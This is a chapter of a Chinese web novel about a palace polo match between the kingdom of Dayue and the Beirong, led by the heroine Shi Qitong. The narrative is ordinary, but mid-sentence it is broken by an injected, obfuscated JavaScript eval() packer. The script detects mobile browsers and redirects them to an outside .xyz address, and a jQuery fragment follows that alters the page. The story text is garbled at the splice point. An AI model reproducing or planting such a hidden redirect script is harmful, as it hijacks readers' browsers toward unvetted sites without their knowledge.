“我很感谢肃宁的祝愿,只是,我不愿!我不愿意过余生安好的生活,我要去拼去抢去改变!”莳栖桐直视着洛肃宁的眼睛,抬步迈入沐浴她的阳光中,握住她的手,“既然史书翻不到,我们就一同书写能被史书翻到的历史!”
洛肃宁抬头凝望着莳栖桐的眸子,琥珀色的瞳孔在阳光的直射下宛如一块成色极好的美玉,而她眼中的坚定才是令她沉溺的原因。
洛肃宁几度张口,终是在莳栖桐眸光渐黯时道了句,“好。”
……
马球赛已然开场,“咚咚咚”地击鼓声点燃场内气氛,“嗒嗒嗒”地马踏声昭示赛况激烈,时不时还有欢呼声,为健儿呼喊。
洛肃宁回头望向莳栖桐与曲予,“这场球赛并非只为春日聚会。”不知想到了什么,她眉头皱起,“不知从何处听说了这场球赛,北戎大王子找上父皇,提出将这场球赛作为两国联谊,比一比哪国的骑术更胜一筹。”
“抱歉,栖桐,本来是想让你开怀的,最后还是成为了政治博弈的场合。”
“肃宁,你无需道歉。”莳栖桐宽慰洛肃宁,脑中却响起了两日前深夜拜访的安俟戎,那黏腻的眼神令人作呕。
洛肃宁抬手便要朝曲予行礼,“曲女公子,今日找上你,便知你极善马球,含拜托你参赛之意。不情之请,还望应允。”
曲予急忙拦住她,“就算公主不请,一想到北戎那副嘴脸,我就要自请上场,去挫挫他们的锐气。”
商议完毕,三人一同朝下走去。
见三人下来,若蒲连忙走近洛肃宁,低声道,“公主,陛下有请。”
莳栖桐将两人所言尽收耳中,她看向洛肃宁,洛肃宁回头对她和曲予点了点头,三人一同朝竞元殿前高台走去。
方才还空荡荡的高台此刻已坐满了人,太后,皇帝,洛肃岚……,凡是她回京后遇到的人,几乎都来了。
三人连忙朝主位三人行礼,太后挥手让三人坐下,便示意皇帝与安俟戎继续讨论。
听两人之意,是三局两胜,以一炷香为引,试比哪方进球更多。眼下,第一局已然开始。
莳栖桐才坐下,便感觉三道炽热的视线同时向她望来,她抬头望去,分别是洛肃岚,洛肃安,安俟戎。
洛肃岚舒眉一笑,与莳栖桐视线对上后,又转了视线,一脸正经地望向皇帝与安俟戎。
洛肃安本来是笑望她的,察觉她与洛肃岚视线对上后,便收了笑意,冷冷观望着两人。
而安俟戎,一边与皇帝交谈,一边还肆无忌惮地用眼神扫视她,仿佛她是一件任人随意观望的物件。她没给他脸,狠狠瞪了回去。
原本想利用他,如今既已知晓他的图谋,又有了制衡他的手段,她是一刻也不想在这人身上耗费。
察觉她的不悦,安俟戎突然起身,朝皇帝抱拳一礼,“敢问陛下,若今日比赛我方拔得头筹,我可否索取一样东西?”他一边朝皇帝说话,一边用眼神露骨地盯着莳栖桐。
“哦?比赛还未开始,王子就知道你方胜局已定?”皇帝垂头望向安俟戎,声音喜怒不定。
“我说过了,纵使贵国人才辈出,在马术之上,北戎一族才是行家。”安俟戎站直身体,脸上是邪魅狂狷的笑意。
莳栖桐一向不是逆来顺受的性格,她先对曲予轻言抱歉,看到她眸中深藏的鼓励之后,直接站起身来,对主位三人躬身行礼,而后再对安俟戎抱拳行礼。
随后,她不卑不昂地开口,“王子未免太过狂妄,纵使你们北戎是马背上的民族,我大越泱泱大国人才济济,岂容您小看!既然王子认定自己会赢,我也认为是大越会赢。既然我们意见相左,那便定下一个赌注。”
安俟戎轻笑一声,颇为不屑,“你倒说说,赌注为何?”
莳栖桐回头对皇帝再次行礼,“敢问陛下,若臣女说这个赌注为陛下一定会准许的愿望,陛下可愿准许?”
皇帝还未开口,谢太后便先开口了,“准了,吾替皇帝应许了!”
谢太后轻笑一声,盯着莳栖桐,“以你为先锋,若是胜利,凡你所求,吾与皇帝无不应许!”
皇帝面色冷了一瞬,随即附和道,“吾与母后持相同想法。”
眼见安俟戎面色不善,太后看向他,补充道,“若北戎获胜,同样无不应许!”
安俟戎脸上露出一抹诡笑,“两位陛下所言当真?”
皇帝紧紧盯着他,一字一顿道,“君无戏言。”
正巧这时,第一场战果已出,大越惨败,双方甚至差了三个球。
闻言,安俟戎不屑一笑,“本王倒要看看,栖桐美人如何逆转败局?”
莳栖桐回之一笑,接过宫女递上的襻缚,利落地挽起长袖。
经过安俟戎时,她嗤笑一声,便朝场内走去。
从马球队中退下的是皇帝最为信赖的内侍,他对莳栖桐低声提醒,“这位女公子小心,这些北戎人手段卑劣,惯会使诈。”
莳栖桐谢过他的提醒,接过球杖,便翻身上马。
她先鼓舞士气,然后对几人悄声嘱咐,便踏着鼓声,领队迎战。
北戎为首的是那日莳栖桐在鸿胪寺见过的安俟戎副官,见是她,他与身后兄弟相视一笑,用北戎语嘲讽起来。
他们以为莳栖桐听不懂北戎话,大肆嘲笑,言语污秽不堪。
等他们笑够了,莳栖桐皮笑肉不笑地用北戎语说道,“你们就尽情去笑吧!到时候惨败在我手下时,莫要学狗一样在地上祈怜求饶。”
几人显然没有预料到莳栖桐不仅听得懂北戎语,还会说北戎语。更料不到,莳栖桐会这样嚣张,说出如此狂妄之语,几人面色一阵青白,最后冷哼一声,直到球赛开始,几人都不再言语,直眼神凶横地死死盯着莳栖桐。
高台,以太后与皇帝为首的几人站在看台,静静观望着场内形势。
曲予悄悄靠近洛肃宁,紧张地询问,“公主,您说,栖桐会赢吗?”
洛肃宁眼睛紧紧盯着场中身形高挑,一身水红的莳栖桐,直到曲予一连呼唤了她好几声,她才反应过来。
她拧眉观望了几眼,低声道,“难说,但我相信栖桐。‘
曲予也应声道,“嗯!我也相信栖桐!自我认识她以来,还从来没见她失败过。”
洛肃岚的眼神也紧紧盯着那道倩影,在他身旁的洛肃安几次回头都见他目不转睛,眉头越拧越紧,终是道,“皇兄何事对栖桐姐姐如此上心了?"
洛肃岚回头看了他一眼,嘴角勾起一抹笑意,反问道,“皇弟不也是同样上心?”
洛肃安面色一噎,撇过头去,不再回应。
安俟戎则冷冷盯着他的副官,面色凶狠,大有种副官失败了会将他千刀万剐的气势。
太后则牵着皇后的手,抬手指向莳栖桐,“雪昔,你觉得她怎么样?”
谢皇后脸上仍带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493241|185756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着一成不变的笑意,“姑母,我在栖桐身上看到了我自己从未有过的朝气。”
谢太后回头看了她一眼,眼中涌起了一丝不明的情绪。
而站在两人身旁的皇帝只死死盯着莳栖桐,只在谢皇后唤太后“姑母”时偏头少许,而后又默默将头转回去,只是藏在龙袍下的手默默捏紧,深深吸了口气,又将捏紧的拳头泄气松开。
谢之瑶的身高在高台上什么也看不见,所以谢之璃和谢之玥带着她找到谢舒雅的位置坐下,四人目不转睛地盯着莳栖桐的方向。
莳栖桐根本不知道这么多人的目光都倾注于她的身上,她只拎着缰绳,与副官就马球的控制权而周旋。
只见莳栖桐摆了一个假动作,贯注全神的副官立即挥杆朝她假动作挥出的方向阻拦,而莳栖桐嗤笑一声,便以迅雷不及掩耳之势夺得马球的控制权。
她立即旋杆击球,马球在空中滑出一道完美的抛物线,落入莳栖桐身后队友的圈中,他们分工明确地御马向前冲散北戎的队伍,颇有默契地将球引向对方球门。但北戎队员也不是好惹的,他们策马赶上,侧身挥杆,竟险些触到马球。
好在一人侧身勾球,将球勾了回来。马球又重新回到了大越队员手中,他们挥杆击出马球,眼见马球就要进入球洞,又被不知何时跑到球门旁的北戎队员击了回来。
席上顿时传出阵阵叹息,却没人发现,莳栖桐已悄悄绕入北戎人的包围,她横冲直撞,迫使北戎人不得不让开,她则趁机侧身挥杆,将空中的马球重新重重击打回去。动作之快,让守在球门旁的北戎队员都未察觉,那颗马球便径直落入洞中。
随着守在球门旁的内侍重重击鼓,加之一声高喊,席上爆发出阵阵欢呼。
开局第一颗球,就这么进去了。
安俟戎面色瞬间铁青,洛肃安回头望见,毫不掩饰地嘲笑出声。
第二颗球时,大越队占据先锋,掌握发球权。
这次,北戎队显然长了记性,他们死死守在莳栖桐周围,令她无论从哪个方向发球,挥杆,都会被他们拦住。
莳栖桐轻笑一声,做了好几个假动作,都未将手中球击出。
眼见北戎人愈发不耐烦,莳栖桐一反常态,将球扔向北戎队伍中。
她这般反常,显然出乎北戎预料,北戎众人一时竟未反应过来。
趁此机会,她拉住缰绳,翻身至马腿附近,抬杆勾回马球,击回大越队伍中。
此番举动,不可谓不冒险,若敌方或己方马收到惊吓,稍一抬腿,便是一场血案。
大越队友这次也十分给力,只是北戎人接二连三失利,已然失去耐心,也丢了脸皮。
一人直接纵马踏向大越一位队员,杆也高高挥起,瞄准那人的头部。
那人若不躲避,只会被他或他的马毙命当场。
生死当前,谁都会害怕。
所以,那人躲了开来,北戎队也趁机夺得马球。
众人冷了脸色,洛肃安率先冷声质问安俟戎,“你们北戎都是如此无耻之徒?”
安俟戎无耻一笑,“战场之上,哪讲道理?敢问若是淮安王您自己在战场上,你会不会用尽所有手段铲除对手?”
洛肃安没料到他这样无耻,冷哼一声,“这是比赛,不是战场。”
安俟戎没有回应,只继续盯着场上。
这一次,北戎也死守队伍,不给莳栖桐留一点窜入的机会。